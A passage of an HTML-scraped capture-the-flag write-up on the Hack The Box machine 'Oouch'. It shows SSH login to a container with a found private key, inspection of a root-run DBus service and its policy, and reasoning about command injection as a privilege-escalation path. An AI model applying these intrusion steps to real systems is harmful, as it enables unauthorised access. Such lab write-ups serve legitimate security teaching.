known_hosts<\/span><\/div>\n<\/div>\n<\/div>\n<\/div>\n<p>The first thing we notice is that there is a private key file in the<span>\u00a0<\/span><em>.ssh<\/em><span>\u00a0<\/span>folder. Comparing this private key file to the private key that we obtained for from the authorization server, reveals that it is a different one. If we are unlucky, this private key file is just outdated or for a server that we do not have access to. But maybe we get lucky and the key can be used one of the containers. While testing the key on the different containers, one can notice that the container with IP<span>\u00a0<\/span><code>172.18.0.4<\/code><span>\u00a0<\/span>is indeed running a<span>\u00a0<\/span><em>SSH<span>\u00a0<\/span><\/em>server. From the process list we can see that this container belongs to port<span>\u00a0<\/span><code>5000<\/code><span>\u00a0<\/span>and is therefore the consumer application. Although the user<span>\u00a0<\/span><em>root<span>\u00a0<\/span><\/em>is not working, we find out that we get access as the user<span>\u00a0<\/span><em>qtc<span>\u00a0<\/span><\/em>on the container:<\/p>\n<div class=\"enlighter-default enlighter-v-standard enlighter-t-beyond enlighter-hover enlighter-linenumbers enlighter-overflow-scroll \">\n<div class=\"enlighter\">\n<div class=\"\">\n<div><span class=\"enlighter-text\">qtc@oouch:~$ ssh -i .ssh\/id_rsa 172.18.0.<\/span><span class=\"enlighter-n1\">4<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">Linux<\/span><span class=\"enlighter-text\"> 72ddb6be7ede 4.19.<\/span><span class=\"enlighter-n1\">0<\/span><span class=\"enlighter-text\">-<\/span><span class=\"enlighter-n1\">5<\/span><span class=\"enlighter-text\">-amd64 <\/span><span class=\"enlighter-c0\">#1 SMP Debian 4.19.37-5+deb10u2 (2019-08-08) x86_64<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">The<\/span><span class=\"enlighter-text\"> programs included with the Debian <\/span><span class=\"enlighter-e3\">GNU<\/span><span class=\"enlighter-text\">\/Linux system are free software<\/span><span class=\"enlighter-c0\">;<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">the exact distribution terms for each program are described in the<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">individual files in \/usr\/share\/doc\/*\/copyright.<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">Debian<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-e3\">GNU<\/span><span class=\"enlighter-text\">\/Linux comes with <\/span><span class=\"enlighter-e3\">ABSOLUTELY<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-e3\">NO<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-e3\">WARRANTY<\/span><span class=\"enlighter-text\">, to the extent<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">permitted by applicable law.<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">qtc@72ddb6be7ede:~$ id<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">uid=<\/span><span class=\"enlighter-n1\">1000<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">qtc<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\"> gid=<\/span><span class=\"enlighter-n1\">1000<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">qtc<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\"> groups=<\/span><span class=\"enlighter-n1\">1000<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">qtc<\/span><span class=\"enlighter-g1\">)<\/span><\/div>\n<\/div>\n<\/div>\n<\/div>\n<p>This seems not to be very helpful in the first place, since normally we want to escape from containers to get on the host system and not to break into containers to become even more isolated. So before enumerating the container, lets look further around on the host system and find out why container access could be interesting.<\/p>\n<p>A second interesting file in the home folder of<span>\u00a0<\/span><em>qtc<span>\u00a0<\/span><\/em>is<span>\u00a0<\/span><code>.note.txt<\/code>:<\/p>\n<div class=\"enlighter-default enlighter-v-standard enlighter-t-beyond enlighter-hover enlighter-linenumbers enlighter-overflow-scroll \">\n<div class=\"enlighter\">\n<div class=\"\">\n<div><span class=\"enlighter-text\">qtc@oouch:~$ cat .note.txt <\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">Implementing<\/span><span class=\"enlighter-text\"> an <\/span><span class=\"enlighter-e3\">IPS<\/span><span class=\"enlighter-text\"> using DBus and iptables == Genius?<\/span><\/div>\n<\/div>\n<\/div>\n<\/div>\n<p>It says something about implementing an<span>\u00a0<\/span><em>IPS<span>\u00a0<\/span><\/em>(<em>Intrusion Prevention System<\/em>) using<span>\u00a0<\/span><em>DBus<span>\u00a0<\/span><\/em>and<span>\u00a0<\/span><em>iptables<\/em>. While everyone is probably familiar with<span>\u00a0<\/span><em>iptables<\/em>,<span>\u00a0<\/span><em>DBus<span>\u00a0<\/span><\/em>is a more complicated technology that most users do not use actively (although, behind the scenes, it is heavily used on any major Linux distro). The main idea behind<span>\u00a0<\/span><em>DBus<span>\u00a0<\/span><\/em>is to allow applications to communicate with each other. For example, if you connect to a<span>\u00a0<\/span><em>VPN<\/em>, the remote<span>\u00a0<\/span><em>VPN<span>\u00a0<\/span><\/em>server may informs your<span>\u00a0<\/span><em>VPN<span>\u00a0<\/span><\/em>client about available<span>\u00a0<\/span><em>DNS<span>\u00a0<\/span><\/em>servers inside the<span>\u00a0<\/span><em>VPN<\/em>. However, since your<span>\u00a0<\/span><em>VPN<span>\u00a0<\/span><\/em>client may not be responsible for<span>\u00a0<\/span><em>DNS<span>\u00a0<\/span><\/em>resolution, it needs to inform your resolver about the new available<span>\u00a0<\/span><em>DNS<span>\u00a0<\/span><\/em>servers. Such inter process communication is usually implemented using<span>\u00a0<\/span><em>DBus<\/em>. In the above example, your<span>\u00a0<\/span><em>DNS<span>\u00a0<\/span><\/em>resolver would connect to the bus and subscribe for a certain type of signal, that announces<span>\u00a0<\/span><em>DNS<span>\u00a0<\/span><\/em>servers. Your<span>\u00a0<\/span><em>VPN<span>\u00a0<\/span><\/em>client on the other hand, would connect to the bus and emit the corresponding signal. Each application that is interested in that information can now obtain it from the bus. Apart from sending messages in this broadcast manner,<span>\u00a0<\/span><em>DBus<span>\u00a0<\/span><\/em>also enables point to point communication between different application. It is just super useful and fun to learn!<\/p>\n<p>From the file<span>\u00a0<\/span><code>.note.txt<\/code><span>\u00a0<\/span>we can now assume that<span>\u00a0<\/span><em>qtc<span>\u00a0<\/span><\/em>has implemented something using<span>\u00a0<\/span><em>DBus<\/em>. Apart from the note file, there are several other locations there we can confirm this assumption. One of them are again the running processes. Here we find a application called<span>\u00a0<\/span><code>dbus-server<\/code><span>\u00a0<\/span>that runs using the root account:<\/p>\n<div class=\"enlighter-default enlighter-v-standard enlighter-t-beyond enlighter-hover enlighter-linenumbers enlighter-overflow-scroll \">\n<div class=\"enlighter\">\n<div class=\"\">\n<div><span class=\"enlighter-text\">root <\/span><span class=\"enlighter-n1\">352<\/span><span class=\"enlighter-text\"> 0.<\/span><span class=\"enlighter-n1\">0<\/span><span class=\"enlighter-text\"> 0.<\/span><span class=\"enlighter-n1\">0<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-n1\">4676<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-n1\">1100<\/span><span class=\"enlighter-text\"> ? Ss <\/span><span class=\"enlighter-n1\">09<\/span><span class=\"enlighter-text\">:<\/span><span class=\"enlighter-n1\">48<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-n1\">0<\/span><span class=\"enlighter-text\">:<\/span><span class=\"enlighter-n1\">00<\/span><span class=\"enlighter-text\"> \/root\/dbus-server<\/span><\/div>\n<\/div>\n<\/div>\n<\/div>\n<p>When reading your first tutorials about<span>\u00a0<\/span><em>DBus<\/em>, you probably notice that most<span>\u00a0<\/span><em>DBus<span>\u00a0<\/span><\/em>services configure their access permissions in<span>\u00a0<\/span><em>XML<span>\u00a0<\/span><\/em>files that are placed inside the folder<span>\u00a0<\/span><code>\/etc\/dbus-1\/system.d<\/code>. If<span>\u00a0<\/span><em>qtc<span>\u00a0<\/span><\/em>has written his own<span>\u00a0<\/span><em>DBus<span>\u00a0<\/span><\/em>application, he probably also defined access permissions inside such a file. So lets look if we find something interesting there:<\/p>\n<div class=\"enlighter-default enlighter-v-standard enlighter-t-beyond enlighter-hover enlighter-linenumbers enlighter-overflow-scroll \">\n<div class=\"enlighter\">\n<div class=\"\">\n<div><span class=\"enlighter-text\">qtc@oouch:\/etc\/dbus-<\/span><span class=\"enlighter-n1\">1<\/span><span class=\"enlighter-text\">\/system.d$ ls -l<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">total <\/span><span class=\"enlighter-n1\">20<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">-rw-r--r-- <\/span><span class=\"enlighter-n1\">1<\/span><span class=\"enlighter-text\"> root root <\/span><span class=\"enlighter-n1\">1456<\/span><span class=\"enlighter-text\"> Jul <\/span><span class=\"enlighter-n1\">29<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-n1\">2018<\/span><span class=\"enlighter-text\"> bluetooth.conf<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">-rw-r--r-- <\/span><span class=\"enlighter-n1\">1<\/span><span class=\"enlighter-text\"> root root <\/span><span class=\"enlighter-n1\">662<\/span><span class=\"enlighter-text\"> Mar <\/span><span class=\"enlighter-n1\">22<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-n1\">2016<\/span><span class=\"enlighter-text\"> com.ubuntu.SoftwareProperties.conf<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">-rw-r--r-- <\/span><span class=\"enlighter-n1\">1<\/span><span class=\"enlighter-text\"> root root <\/span><span class=\"enlighter-n1\">441<\/span><span class=\"enlighter-text\"> Sep <\/span><span class=\"enlighter-n1\">3<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-n1\">14<\/span><span class=\"enlighter-text\">:<\/span><span class=\"enlighter-n1\">21<\/span><span class=\"enlighter-text\"> htb.oouch.Block.conf<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">-rw-r--r-- <\/span><span class=\"enlighter-n1\">1<\/span><span class=\"enlighter-text\"> root root <\/span><span class=\"enlighter-n1\">1331<\/span><span class=\"enlighter-text\"> Mar <\/span><span class=\"enlighter-n1\">2<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-n1\">2019<\/span><span class=\"enlighter-text\"> org.freedesktop.PackageKit.conf<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">-rw-r--r-- <\/span><span class=\"enlighter-n1\">1<\/span><span class=\"enlighter-text\"> root root <\/span><span class=\"enlighter-n1\">1513<\/span><span class=\"enlighter-text\"> Jun <\/span><span class=\"enlighter-n1\">6<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-n1\">15<\/span><span class=\"enlighter-text\">:<\/span><span class=\"enlighter-n1\">16<\/span><span class=\"enlighter-text\"> wpa_supplicant.conf<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">qtc@oouch:\/etc\/dbus-<\/span><span class=\"enlighter-n1\">1<\/span><span class=\"enlighter-text\">\/system.d$ cat htb.oouch.Block.conf <\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-g1\">&lt;<\/span><span class=\"enlighter-text\">?xml version=<\/span><span class=\"enlighter-s0\">\"1.0\"<\/span><span class=\"enlighter-text\"> encoding=<\/span><span class=\"enlighter-s0\">\"UTF-8\"<\/span><span class=\"enlighter-text\">?<\/span><span class=\"enlighter-g1\">&gt;<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">&lt;<\/span><span class=\"enlighter-text\">!-- -*- <\/span><span class=\"enlighter-e3\">XML<\/span><span class=\"enlighter-text\"> -*- --<\/span><span class=\"enlighter-g1\">&gt;<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-g1\">&lt;<\/span><span class=\"enlighter-text\">!<\/span><span class=\"enlighter-e3\">DOCTYPE<\/span><span class=\"enlighter-text\"> busconfig <\/span><span class=\"enlighter-e3\">PUBLIC<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-s0\">\"-\/\/freedesktop\/\/DTD D-BUS Bus Configuration 1.0\/\/EN\"<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-s0\">\"http:\/\/www.freedesktop.org\/standards\/dbus\/1.0\/busconfig.dtd\"<\/span><span class=\"enlighter-g1\">&gt;<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-g1\">&lt;<\/span><span class=\"enlighter-text\">busconfig<\/span><span class=\"enlighter-g1\">&gt;<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">&lt;<\/span><span class=\"enlighter-text\">policy <\/span><span class=\"enlighter-k9\">user<\/span><span class=\"enlighter-text\">=<\/span><span class=\"enlighter-s0\">\"root\"<\/span><span class=\"enlighter-g1\">&gt;<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">&lt;<\/span><span class=\"enlighter-text\">allow own=<\/span><span class=\"enlighter-s0\">\"htb.oouch.Block\"<\/span><span class=\"enlighter-text\">\/<\/span><span class=\"enlighter-g1\">&gt;<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">&lt;<\/span><span class=\"enlighter-text\">\/policy<\/span><span class=\"enlighter-g1\">&gt;<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">&lt;<\/span><span class=\"enlighter-text\">policy <\/span><span class=\"enlighter-k9\">user<\/span><span class=\"enlighter-text\">=<\/span><span class=\"enlighter-s0\">\"www-data\"<\/span><span class=\"enlighter-g1\">&gt;<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">&lt;<\/span><span class=\"enlighter-text\">allow send_destination=<\/span><span class=\"enlighter-s0\">\"htb.oouch.Block\"<\/span><span class=\"enlighter-text\">\/<\/span><span class=\"enlighter-g1\">&gt;<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">&lt;<\/span><span class=\"enlighter-text\">allow receive_sender=<\/span><span class=\"enlighter-s0\">\"htb.oouch.Block\"<\/span><span class=\"enlighter-text\">\/<\/span><span class=\"enlighter-g1\">&gt;<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">&lt;<\/span><span class=\"enlighter-text\">\/policy<\/span><span class=\"enlighter-g1\">&gt;<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-g1\">&lt;<\/span><span class=\"enlighter-text\">\/busconfig<\/span><span class=\"enlighter-g1\">&gt;<\/span><\/div>\n<\/div>\n<\/div>\n<\/div>\n<p>The file<span>\u00a0<\/span><code>htb.oouch.Block.conf<\/code><span>\u00a0<\/span>is definitely no default configuration and has some interesting contents. We can see, that it configures access permissions for the<span>\u00a0<\/span><em>DBus<span>\u00a0<\/span><\/em>interface<span>\u00a0<\/span><code>htb.oouch.Block<\/code><span>\u00a0<\/span>and allows the user<span>\u00a0<\/span><em>root<span>\u00a0<\/span><\/em>to own the interface. Owner permissions basically describe who can register the interface on the<span>\u00a0<\/span><em>DBus<span>\u00a0<\/span><\/em>server. Access permissions by root tell us, that the service that spawns this interface has to be run by the<span>\u00a0<\/span><em>root<span>\u00a0<\/span><\/em>account. This matches our observation, as the<span>\u00a0<\/span><code>dbus-server<\/code><span>\u00a0<\/span>was started by<span>\u00a0<\/span><em>root<\/em>. Furthermore, access permissions for the user<span>\u00a0<\/span><em>www-data<\/em><span>\u00a0<\/span>are defined. The user<span>\u00a0<\/span><em>www-data<\/em><span>\u00a0<\/span>has basically permissions to use the interface in terms of sending and receiving messages.<\/p>\n<p>So let me summarize: By now we know that the host runs a<span>\u00a0<\/span><em>DBus<span>\u00a0<\/span><\/em>application as the<span>\u00a0<\/span><em>root<span>\u00a0<\/span><\/em>user account and allows interaction by the user account<span>\u00a0<\/span><em>www-data<\/em>. This represents a communication from a low privileged user to a high privileged process and could open some space for privilege escalations. If the<span>\u00a0<\/span><em>DBus<span>\u00a0<\/span><\/em>application handles input of the user<span>\u00a0<\/span><em>www-data<\/em><span>\u00a0<\/span>in an insecure way, it may be possible to perform command injection attacks or to trigger buffer overflows. However, at the moment our user account is<span>\u00a0<\/span><em>qtc<span>\u00a0<\/span><\/em>and we have no option to engage the<span>\u00a0<\/span><em>DBus<span>\u00a0<\/span><\/em>interface.<\/p>\n<h3 id=\"one-and-one\">4.3 \u2013 Putting One and One together<\/h3>\n<p>Before we continue lets take a break form the low level technical details and think about the application logic. Is there a reason why there is a<span>\u00a0<\/span><em>DBus<span>\u00a0<\/span><\/em>server running as<span>\u00a0<\/span><em>root<span>\u00a0<\/span><\/em>and allowing the user<span>\u00a0<\/span><em>www-data<\/em><span>\u00a0<\/span>access to it? Well, if you remember our application enumeration, we noticed that the consumer application blocked our IP address once we entered malicious input into the contact form. If you enumerated carefully, you may even noticed, that this block affects all ports on the<span>\u00a0<\/span><em>Oouch<span>\u00a0<\/span><\/em>server. Together with the note inside of<span>\u00a0<\/span><em>qtc\u2019s<span>\u00a0<\/span><\/em>home folder, this gives us the following idea how this IP block is implemented:<\/p>\n<p>[\/et_pb_text][et_pb_image src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2021\/07\/28-dbus.png\" title_text=\"28-dbus\" _builder_version=\"4.9.4\" _module_preset=\"default\"][\/et_pb_image][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"cc5ac6f4-ebbd-4b3f-bc92-4dfc1f15fe2c\"]<\/p>\n<p>So the consumer application simply checks the input of the contact form for malicious input. If it identifies a hacking attempt, it sends a message to the<span>\u00a0<\/span><code>dbus-server<\/code><span>\u00a0<\/span>application, which is running as root. Inside this message, the IP address of the client should be contained and the<span>\u00a0<\/span><em>DBus<span>\u00a0<\/span><\/em>server application takes care of blocking this IP address. But how can we confirm these assumptions?<\/p>\n<p>Well, remember that we have access to the container of the consumer application. Somewhere on the container, the application code should be placed and since file permissions inside of containers are often rather relaxed, we may be able to read the application code using our user account<span>\u00a0<\/span><em>qtc<\/em>. Inside the file system root of the container, we find a directory with name<span>\u00a0<\/span><code>code<\/code>.<\/p>\n<div class=\"enlighter-default enlighter-v-standard enlighter-t-beyond enlighter-hover enlighter-linenumbers enlighter-overflow-scroll \">\n<div class=\"enlighter\">\n<div class=\"\">\n<div><span class=\"enlighter-text\">qtc@72ddb6be7ede:~$ ls -l \/<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">total <\/span><span class=\"enlighter-n1\">80<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">drwxr-xr-x <\/span><span class=\"enlighter-n1\">1<\/span><span class=\"enlighter-text\"> root root <\/span><span class=\"enlighter-n1\">4096<\/span><span class=\"enlighter-text\"> Sep <\/span><span class=\"enlighter-n1\">3<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-n1\">12<\/span><span class=\"enlighter-text\">:<\/span><span class=\"enlighter-n1\">24<\/span><span class=\"enlighter-text\"> bin<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">drwxr-xr-x <\/span><span class=\"enlighter-n1\">2<\/span><span class=\"enlighter-text\"> root root <\/span><span class=\"enlighter-n1\">4096<\/span><span class=\"enlighter-text\"> May <\/span><span class=\"enlighter-n1\">13<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-n1\">20<\/span><span class=\"enlighter-text\">:<\/span><span class=\"enlighter-n1\">25<\/span><span class=\"enlighter-text\"> boot<\/span><\/div>\n<\/div>\n<div class=\"enlighter-special\">\n<div><span class=\"enlighter-text\">drwxr-xr-x <\/span><span class=\"enlighter-n1\">5<\/span><span class=\"enlighter-text\"> root root <\/span><span class=\"enlighter-n1\">4096<\/span><span class=\"enlighter-text\"> Sep <\/span><span class=\"enlighter-n1\">3<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-n1\">12<\/span><span class=\"enlighter-text\">:<\/span><span class=\"enlighter-n1\">19<\/span><span class=\"enlighter-text\"> code<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">drwxr-xr-x <\/span><span class=\"enlighter-n1\">5<\/span><span class=\"enlighter-text\"> root root <\/span><span class=\"enlighter-n1\">340<\/span><span class=\"enlighter-text\"> Sep <\/span><span class=\"enlighter-n1\">4<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-n1\">07<\/span><span class=\"enlighter-text\">:<\/span><span class=\"enlighter-n1\">48<\/span><span class=\"enlighter-text\"> dev<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">drwxr-xr-x <\/span><span class=\"enlighter-n1\">1<\/span><span class=\"enlighter-text\"> root root <\/span><span class=\"enlighter-n1\">4096<\/span><span class=\"enlighter-text\"> Sep <\/span><span class=\"enlighter-n1\">4<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-n1\">07<\/span><span class=\"enlighter-text\">:<\/span><span class=\"enlighter-n1\">48<\/span><span class=\"enlighter-text\"> etc<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">drwxr-xr-x <\/span><span class=\"enlighter-n1\">1<\/span><span class=\"enlighter-text\"> root root <\/span><span class=\"enlighter-n1\">4096<\/span><span class=\"enlighter-text\"> Sep <\/span><span class=\"enlighter-n1\">3<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-n1\">12<\/span><span class=\"enlighter-text\">:<\/span><span class=\"enlighter-n1\">24<\/span><span class=\"enlighter-text\"> home<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">drwxr-xr-x <\/span><span class=\"enlighter-n1\">1<\/span><span class=\"enlighter-text\"> root root <\/span><span class=\"enlighter-n1\">4096<\/span><span class=\"enlighter-text\"> Sep <\/span><span class=\"enlighter-n1\">3<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-n1\">12<\/span><span class=\"enlighter-text\">:<\/span><span class=\"enlighter-n1\">24<\/span><span class=\"enlighter-text\"> lib<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">drwxr-xr-x <\/span><span class=\"enlighter-n1\">2<\/span><span class=\"enlighter-text\"> root root <\/span><span class=\"enlighter-n1\">4096<\/span><span class=\"enlighter-text\"> Aug <\/span><span class=\"enlighter-n1\">12<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-n1\">00<\/span><span class=\"enlighter-text\">:<\/span><span class=\"enlighter-n1\">00<\/span><span class=\"enlighter-text\"> lib64<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">drwxr-xr-x <\/span><span class=\"enlighter-n1\">2<\/span><span class=\"enlighter-text\"> root root <\/span><span class=\"enlighter-n1\">4096<\/span><span class=\"enlighter-text\"> Aug <\/span><span class=\"enlighter-n1\">12<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-n1\">00<\/span><span class=\"enlighter-text\">:<\/span><span class=\"enlighter-n1\">00<\/span><span class=\"enlighter-text\"> media<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">drwxr-xr-x <\/span><span class=\"enlighter-n1\">2<\/span><span class=\"enlighter-text\"> root root <\/span><span class=\"enlighter-n1\">4096<\/span><span class=\"enlighter-text\"> Aug <\/span><span class=\"enlighter-n1\">12<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-n1\">00<\/span><span class=\"enlighter-text\">:<\/span><span class=\"enlighter-n1\">00<\/span><span class=\"enlighter-text\"> mnt<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">drwxr-xr-x <\/span><span class=\"enlighter-n1\">2<\/span><span class=\"enlighter-text\"> root root <\/span><span class=\"enlighter-n1\">4096<\/span><span class=\"enlighter-text\"> Aug <\/span><span class=\"enlighter-n1\">12<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-n1\">00<\/span><span class=\"enlighter-text\">:<\/span><span class=\"enlighter-n1\">00<\/span><span class=\"enlighter-text\"> opt<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">dr-xr-xr-x <\/span><span class=\"enlighter-n1\">113<\/span><span class=\"enlighter-text\"> root root <\/span><span class=\"enlighter-n1\">0<\/span><span class=\"enlighter-text\"> Sep <\/span><span class=\"enlighter-n1\">4<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-n1\">07<\/span><span class=\"enlighter-text\">:<\/span><span class=\"enlighter-n1\">48<\/span><span class=\"enlighter-text\"> proc<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">drwx------ <\/span><span class=\"enlighter-n1\">1<\/span><span class=\"enlighter-text\"> root root <\/span><span class=\"enlighter-n1\">4096<\/span><span class=\"enlighter-text\"> Sep <\/span><span class=\"enlighter-n1\">3<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-n1\">12<\/span><span class=\"enlighter-text\">:<\/span><span class=\"enlighter-n1\">27<\/span><span class=\"enlighter-text\"> root<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">drwxr-xr-x <\/span><span class=\"enlighter-n1\">1<\/span><span class=\"enlighter-text\"> root root <\/span><span class=\"enlighter-n1\">4096<\/span><span class=\"enlighter-text\"> Sep <\/span><span class=\"enlighter-n1\">4<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-n1\">09<\/span><span class=\"enlighter-text\">:<\/span><span class=\"enlighter-n1\">13<\/span><span class=\"enlighter-text\"> run<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">drwxr-xr-x <\/span><span class=\"enlighter-n1\">1<\/span><span class=\"enlighter-text\"> root root <\/span><span class=\"enlighter-n1\">4096<\/span><span class=\"enlighter-text\"> Sep <\/span><span class=\"enlighter-n1\">3<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-n1\">12<\/span><span class=\"enlighter-text\">:<\/span><span class=\"enlighter-n1\">24<\/span><span class=\"enlighter-text\"> sbin<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">drwxr-xr-x <\/span><span class=\"enlighter-n1\">2<\/span><span class=\"enlighter-text\"> root root <\/span><span class=\"enlighter-n1\">4096<\/span><span class=\"enlighter-text\"> Aug <\/span><span class=\"enlighter-n1\">12<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-n1\">00<\/span><span class=\"enlighter-text\">:<\/span><span class=\"enlighter-n1\">00<\/span><span class=\"enlighter-text\"> srv<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">dr-xr-xr-x <\/span><span class=\"enlighter-n1\">13<\/span><span class=\"enlighter-text\"> root root <\/span><span class=\"enlighter-n1\">0<\/span><span class=\"enlighter-text\"> Sep <\/span><span class=\"enlighter-n1\">4<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-n1\">07<\/span><span class=\"enlighter-text\">:<\/span><span class=\"enlighter-n1\">48<\/span><span class=\"enlighter-text\"> sys<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">drwxrwxrwt <\/span><span class=\"enlighter-n1\">1<\/span><span class=\"enlighter-text\"> root root <\/span><span class=\"enlighter-n1\">4096<\/span><span class=\"enlighter-text\"> Sep <\/span><span 